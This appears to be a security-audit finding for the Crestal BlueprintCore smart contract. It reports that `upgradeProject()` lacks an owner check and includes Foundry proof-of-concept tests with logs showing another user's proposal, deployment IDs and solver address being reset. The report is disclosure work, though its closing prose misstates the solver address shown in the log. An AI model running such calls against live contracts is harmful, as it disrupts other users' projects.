Tangy Indigo Dalmatian

High

# Unauthorized call to `BlueprintCore.upgradeProject` allows to reset existing proposals requests, solverAddr and deployment requests

### Summary

Function `BlueprintCore.upgradeProject()` does not verify the owner of the project.
This leads to the scenario, that everyone can call this function on any existing project.
Function is responsible for resetting project's proposals requests, deployment requests and solver address.
This basically means, that anyone can reset project's proposals requests, deployment requests and solver address of any project.

### Root Cause

[File: src/BlueprintCore.sol](https://github.com/sherlock-audit/2025-03-crestal-network/blob/27a3c28155702b3a68f29347efedffb048010e33/crestal-omni-contracts/src/BlueprintCore.sol#L198)
```solidity
    function upgradeProject(bytes32 projectId) public hasProject(projectId) {
        // reset project info
        projects[projectId].requestProposalID = 0;
        projects[projectId].requestDeploymentID = 0;
        projects[projectId].proposedSolverAddr = dummyAddress;
    }
```

Function `upgradeProject()` does not verify the owner of the `projectId`. This means, that everyone can upgrade everyones' elses projects by resetting project's `proposedSolverAddr`, `requestProposalID` and `requestDeploymentID`

### Internal Pre-conditions

None, functions `upgradeProject()` is callable by anyone.

### External Pre-conditions

Functions `upgradeProject()` has to be called on the existing project.

### Attack Path

### Resetting `proposalId`
1. Bob calls `createProjectIDAndProposalRequest()` to create new project and proposal request.
2. Alice calls `upgradeProject()` on Bob's project.
3. Bob's proposal request is being reset.

Please check function `test_sherlockPoC_unAuthProposalRemoval()` in the provided PoC.

### Resetting `deploymentIds` and `solverAddress`
1. Create new project and call `createDeploymentRequest()` to create new deployment request.
2. Now, as malicious actor - Alice, call `upgradeProject()` on above project.
3. The `solverAddress` and `deploymentIds` will be reset.

Please check function `test_sherlockPoC_unAuthDeploymentRemoval()` in the provided PoC.

### Impact

Malicious actor can reset solver address, proposals and deployment requests of any created project.

### PoC

Include those tests in `test/BlueprintV2.t.sol`.
Add `import {console} from "forge-std/console.sol";`, as those tests `console.logs` many values (to better demonstrate what's happening).

### Resetting `proposalId`

```solidity
   function test_sherlockPoC_unAuthProposalRemoval() public {
        address ALICE = address(0xa11ce);
        address BOB = address(0xb0b);
        bytes32 BOB_PROJECT_NAME = "BOB-PROJECT";

        vm.prank(BOB); // Bob creates new project and proposal request
        blueprint.createProjectIDAndProposalRequest(BOB_PROJECT_NAME, "test base64 param", "test server url");

        bytes32 requestProposalID;
        (, requestProposalID,) = blueprint.getProjectInfo(BOB_PROJECT_NAME);
        console.logString("---> Bob's proposal ID: ");
        console.logBytes32(requestProposalID);
        console.logString("---");

        vm.prank(ALICE); // Alice calls upradeProject on existing project which does not belong to her
        blueprint.upgradeProject(BOB_PROJECT_NAME);

        (, requestProposalID,) = blueprint.getProjectInfo(BOB_PROJECT_NAME);
        console.logString("---> Bob's proposal ID AFTER the attack: ");
        console.logBytes32(requestProposalID); // Alice cleared the Bob's proposal ID from Bob's project.
        console.logString("---");
    }
```

```bash
% forge test --mt test_sherlockPoC_unAuthProposalRemoval -vvv
Ran 1 test for test/BlueprintV2.t.sol:BlueprintTest
[PASS] test_sherlockPoC_unAuthProposalRemoval() (gas: 126218)
Logs:
  ---> Bob's proposal ID: 
  0x5d851dc6492914e8bf16466f6fefcfc385e2d376fdcf03a2a4b0ea150efec9d2
  ---
  ---> Bob's proposal ID AFTER the attack: 
  0x0000000000000000000000000000000000000000000000000000000000000000
  ---
```

As demonstrated above, Bob created new project and proposal request. The ID of this proposal is: `0x5d851dc6492914e8bf16466f6fefcfc385e2d376fdcf03a2a4b0ea150efec9d2`. Then, malicious actor - Alice - called `upgradeProject` on Bob's project. The proposal was removed and is now: `0x0000000000000000000000000000000000000000000000000000000000000000`.

### Resetting `deploymentIds`

```solidity
function test_sherlockPoC_unAuthDeploymentRemoval() public {
        // we are creating new project and create deployment request for it - this is basically the copy-paste of function test_createDeploymentRequest()
        bytes32 projId = blueprint.createProjectID();

        bytes32 deploymentRequestId =
            blueprint.createDeploymentRequest(projId, solverAddress, "test base64 param", "test server url");

        bytes32 requestId = keccak256(
            abi.encodePacked(
                uint256(block.timestamp), address(this), "test base64 param", uint256(block.chainid), uint256(0)
            )
        );

        bytes32 latestDeploymentRequestId = blueprint.getLatestDeploymentRequestID(address(this));
        assertEq(deploymentRequestId, latestDeploymentRequestId);

        assertEq(requestId, latestDeploymentRequestId);

        (address deployedSolverAddr,, bytes32[] memory deploymentIdList) = blueprint.getProjectInfo(projId);

        assertEq(solverAddress, deployedSolverAddr);

        assertEq(deploymentRequestId, deploymentIdList[0]);

        console.log("---> BEFORE THE ATTACK:\n");
        console.logString("Project id: ");
        console.logBytes32(projId);
        console.logString("---");
        console.logString("Deployed Solver address: ");
        console.logAddress(deployedSolverAddr);
        console.logString("---");
        console.logString("Deployment ids: ");
        console.logBytes32(deploymentIdList[0]);
        console.logString("---");

        // here's where the attack starts
        address ALICE = address(0xa11ce);
        vm.prank(ALICE); // Alice calls upradeProject on existing project which does not belong to her
        blueprint.upgradeProject(projId);

        // now, we're confirming, that deployed solver address and deployment ids were removed by Alice
        (address deployedSolverAddr2,, bytes32[] memory deploymentIdList2) = blueprint.getProjectInfo(projId);
        console.log("---> AFTER THE ATTACK:\n");
        console.logString("Project id: ");
        console.logBytes32(projId);
        console.logString("---");
        console.logString("Deployed Solver address: ");
        console.logAddress(deployedSolverAddr2);
        console.logString("---"); // address is addres(0) now (Alice cleared deployed solver address)
        console.logString("Deployment ids: ");
        console.logUint(deploymentIdList2.length);
        console.logString("---"); // array is empty now (Alice cleared deployment ids)
    }
```

```bash
% forge test --mt test_sherlockPoC_unAuthDeploymentRemoval -vvv
[PASS] test_sherlockPoC_unAuthDeploymentRemoval() (gas: 215414)
Logs:
  ---> BEFORE THE ATTACK:

  Project id: 
  0x488d55436254f74bb961add2134792044c6216fc21f4f2d070bf062a6a5d1754
  ---
  Deployed Solver address: 
  0x275960ad41DbE218bBf72cDF612F88b5C6f40648
  ---
  Deployment ids: 
  0xccf133eb63f2d0a2b83ec81ec04e9b5dcf362ef5851b0a9733874bf6563453c7
  ---
  ---> AFTER THE ATTACK:

  Project id: 
  0x488d55436254f74bb961add2134792044c6216fc21f4f2d070bf062a6a5d1754
  ---
  Deployed Solver address: 
  0x0000000000000000000000000000000000000000
  ---
  Deployment ids: 
  0
  ---
```

Above PoC demonstrates that we've created a new project (`0x488d55436254f74bb961add2134792044c6216fc21f4f2d070bf062a6a5d1754`) with solver address: `0xccf133eb63f2d0a2b83ec81ec04e9b5dcf362ef5851b0a9733874bf6563453c7` and deployment id: `0xccf133eb63f2d0a2b83ec81ec04e9b5dcf362ef5851b0a9733874bf6563453c7`.
Then, after unauthorized call by Alice - the deployment ids and solver address were reset.

### Mitigation

Only the project owner should be able to upgrade their own project.